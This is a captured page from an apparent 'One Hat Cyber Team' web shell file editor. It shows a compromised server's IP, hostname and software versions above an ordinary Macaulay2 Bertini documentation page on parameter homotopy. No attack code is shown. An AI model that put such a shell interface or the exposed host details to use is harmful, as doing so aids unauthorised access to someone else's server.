One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
Bertini
/
html
/
Edit File:
_bertini__Parameter__Homotopy.html
<!DOCTYPE html> <html lang="en"> <head> <title>bertiniParameterHomotopy -- a main method to perform a parameter homotopy in Bertini</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="software for numerical algebraic geometry" href="index.html">Bertini</a> :: <a title="a main method to perform a parameter homotopy in Bertini" href="_bertini__Parameter__Homotopy.html">bertiniParameterHomotopy</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="_bertini__Pos__Dim__Solve.html">next</a> | <a href="_bertini__Component__Member__Test.html">previous</a> | <a href="_bertini__Pos__Dim__Solve.html">forward</a> | <a href="_bertini__Component__Member__Test.html">backward</a> | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>bertiniParameterHomotopy -- a main method to perform a parameter homotopy in Bertini</h1> <ul> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">S = bertiniParameterHomotopy(F,P,T)</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">F</span>, <span>a <a title="the class of all lists -- {...}" href="../../Macaulay2Doc/html/___List.html">list</a></span>, a list of polynomials</span></li> <li><span><span class="tt">P</span>, <span>a <a title="the class of all lists -- {...}" href="../../Macaulay2Doc/html/___List.html">list</a></span>, a list of parameter indeterminants</span></li> <li><span><span class="tt">T</span>, <span>a <a title="the class of all lists -- {...}" href="../../Macaulay2Doc/html/___List.html">list</a></span>, a list of lists of target parameter values</span></li> </ul> </li> <li><a href="../../Macaulay2Doc/html/_using_spfunctions_spwith_spoptional_spinputs.html">Optional inputs</a>: <ul> <li><span><a title="an option to group variables and use multihomogeneous homotopies" href="___Variable_spgroups.html">AffVariableGroup</a><span class="tt"> => </span><span class="tt">...</span>, <span>default value {}</span>, <span>an option to group variables and use multihomogeneous homotopies</span></span></li> <li><span><a title="an option to designate the constants for a Bertini Input file" href="___B_sq__Constants.html">B'Constants</a><span class="tt"> => </span><span class="tt">...</span>, <span>default value {}</span>, <span>an option to designate the constants for a Bertini Input file</span></span></li> <li><span><span class="tt">B'Functions</span> (missing documentation)<!--tag: [bertiniParameterHomotopy, B'Functions]--> <span class="tt"> => </span><span class="tt">...</span>, <span>default value {}</span>, <span></span></span></li> <li><span><span class="tt">BertiniInputConfiguration</span> (missing documentation)<!--tag: [bertiniParameterHomotopy, BertiniInputConfiguration]--> <span class="tt"> => </span><span class="tt">...</span>, <span>default value {}</span>, <span></span></span></li> <li><span><a title="an option to group variables and use multihomogeneous homotopies" href="___Variable_spgroups.html">HomVariableGroup</a><span class="tt"> => </span><span class="tt">...</span>, <span>default value {}</span>, <span>an option to group variables and use multihomogeneous homotopies</span></span></li> <li><span><span class="tt">M2Precision</span> (missing documentation)<!--tag: [bertiniParameterHomotopy, M2Precision]--> <span class="tt"> => </span><span class="tt">...</span>, <span>default value 53</span>, <span></span></span></li> <li><span><span class="tt">OutputStyle</span> (missing documentation)<!--tag: [bertiniParameterHomotopy, OutputStyle]--> <span class="tt"> => </span><span class="tt">...</span>, <span>default value "OutPoints"</span>, <span></span></span></li> <li><span><a title="an option which designates symbols/strings/variables that will be set to be a random real number or random complex number" href="___Bertini_spinput_spfile_spdeclarations_co_sprandom_spnumbers.html">RandomComplex</a><span class="tt"> => </span><span class="tt">...</span>, <span>default value {}</span>, <span>an option which designates symbols/strings/variables that will be set to be a random real number or random complex number</span></span></li> <li><span><a title="an option which designates symbols/strings/variables that will be set to be a random real number or random complex number" href="___Bertini_spinput_spfile_spdeclarations_co_sprandom_spnumbers.html">RandomReal</a><span class="tt"> => </span><span class="tt">...</span>, <span>default value {}</span>, <span>an option which designates symbols/strings/variables that will be set to be a random real number or random complex number</span></span></li> <li><span><a title="Option to change directory for file storage." href="___Top__Directory.html">TopDirectory</a><span class="tt"> => </span><span class="tt">...</span>, <span>default value "/tmp/M2-269518-0/0"</span>, <span>Option to change directory for file storage.</span></span></li> <li><span><a title="Option to silence additional output" href="_bertini__Track__Homotopy_lp..._cm__Verbose_eq_gt..._rp.html">Verbose</a><span class="tt"> => </span><span class="tt">...</span>, <span>default value false</span>, <span>Option to silence additional output</span></span></li> </ul> </li> <li>Outputs: <ul> <li><span><span class="tt">S</span>, <span>a <a title="the class of all lists -- {...}" href="../../Macaulay2Doc/html/___List.html">list</a></span>, a list whose entries are lists of solutions for each target system</span></li> </ul> </li> </ul> <div> <h2>Description</h2> <div> <p>This method numerically solves several polynomial systems from a parameterized family at once. The list F is a system of polynomials in ring variables and the parameters listed in P. The list T is the set of parameter values for which solutions to F are desired. Both stages of <span class="tt">Bertini</span>'s parameter homotopy method are called with <span class="tt">bertiniParameterHomotopy</span>. First, <span class="tt">Bertini</span> assigns a random complex number to each parameter and solves the resulting system, then, after this initial phase, <span class="tt">Bertini</span> computes solutions for every given choice of parameters using a number of paths equal to the exact root count in the first stage.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i1 : R=CC[u1,u2,u3,x,y];</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i2 : f1=u1*(y-1)+u2*(y-2)+u3*(y-3); --parameters are u1, u2, and u3</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i3 : f2=(x-11)*(x-12)*(x-13)-u1;</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i4 : paramValues0={1,0,0};</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i5 : paramValues1={0,1+2*ii,0};</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i6 : bPH=bertiniParameterHomotopy( {f1,f2}, {u1,u2,u3},{paramValues0 ,paramValues1 }) o6 = {{{11.3376-.56228*ii, 1}, {11.3376+.56228*ii, 1}, {13.3247, 1}}, {{11, ------------------------------------------------------------------------ 2}, {12, 2}, {13, 2}}} o6 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i7 : bPH_0--the solutions to the system with parameters set equal to paramValues0 o7 = {{11.3376-.56228*ii, 1}, {11.3376+.56228*ii, 1}, {13.3247, 1}} o7 : List</code></pre> </td> </tr> </table> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i8 : R=CC[x,y,z,u1,u2] o8 = R o8 : PolynomialRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i9 : f1=x^2+y^2-z^2 2 2 2 o9 = x + y - z o9 : R</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i10 : f2=u1*x+u2*y o10 = x*u1 + y*u2 o10 : R</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i11 : finalParameters0={0,1} o11 = {0, 1} o11 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i12 : finalParameters1={1,0} o12 = {1, 0} o12 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i13 : bPH=bertiniParameterHomotopy( {f1,f2}, {u1,u2},{finalParameters0 ,finalParameters1 },HomVariableGroup=>{x,y,z}) o13 = {{{1, 1.04634e-17-1.01448e-17*ii, -1}, {1, 1.32111e-17+6.418e-20*ii, ----------------------------------------------------------------------- 1}}, {{9.97833e-19+1.09185e-18*ii, 1, 1}, {-5.41884e-16+1.41201e-16*ii, ----------------------------------------------------------------------- 1, -1}}} o13 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i14 : bPH_0--The two solutions for finalParameters0 o14 = {{1, 1.04634e-17-1.01448e-17*ii, -1}, {1, 1.32111e-17+6.418e-20*ii, 1}} o14 : List</code></pre> </td> </tr> </table> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i15 : finParamValues={{1},{2}} o15 = {{1}, {2}} o15 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i16 : bPH1=bertiniParameterHomotopy( {"x^2-u1"}, {u1},finParamValues,AffVariableGroup=>{x}) o16 = {{{-1}, {1}}, {{-1.41421}, {1.41421}}} o16 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i17 : bPH2=bertiniParameterHomotopy( {"x^2-u1"}, {u1},finParamValues,AffVariableGroup=>{x},OutputStyle=>"OutSolutions") o17 = {{{-1}, {1}}, {{-1.41421}, {1.41421}}} o17 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i18 : class bPH1_0_0 o18 = Point o18 : Type</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i19 : class bPH2_0_0 o19 = List o19 : Type</code></pre> </td> </tr> </table> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i20 : dir1 := temporaryFileName(); -- build a directory to store temporary data</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i21 : makeDirectory dir1;</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i22 : bPH5=bertiniParameterHomotopy( {"x^2-u1"}, {u1},{{1},{2}},AffVariableGroup=>{x},OutputStyle=>"OutNone",TopDirectory=>dir1)</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i23 : B0=importSolutionsFile(dir1,NameSolutionsFile=>"ph_jade_0") o23 = {{-1}, {1}} o23 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i24 : B1=importSolutionsFile(dir1,NameSolutionsFile=>"ph_jade_1") o24 = {{-1.41421}, {1.41421}} o24 : List</code></pre> </td> </tr> </table> </div> <div> <div class="waystouse"> <h2>Ways to use <span class="tt">bertiniParameterHomotopy</span>:</h2> <ul> <li><kbd>bertiniParameterHomotopy(List,List,List)</kbd></li> </ul> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="a main method to perform a parameter homotopy in Bertini" href="_bertini__Parameter__Homotopy.html">bertiniParameterHomotopy</a> is <span>a <a title="a type of method function" href="../../Macaulay2Doc/html/___Method__Function__With__Options.html">method function with options</a></span>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">Bertini.m2:3024:0</span>.</p> </div> </div> </div> </body> </html>
Simpan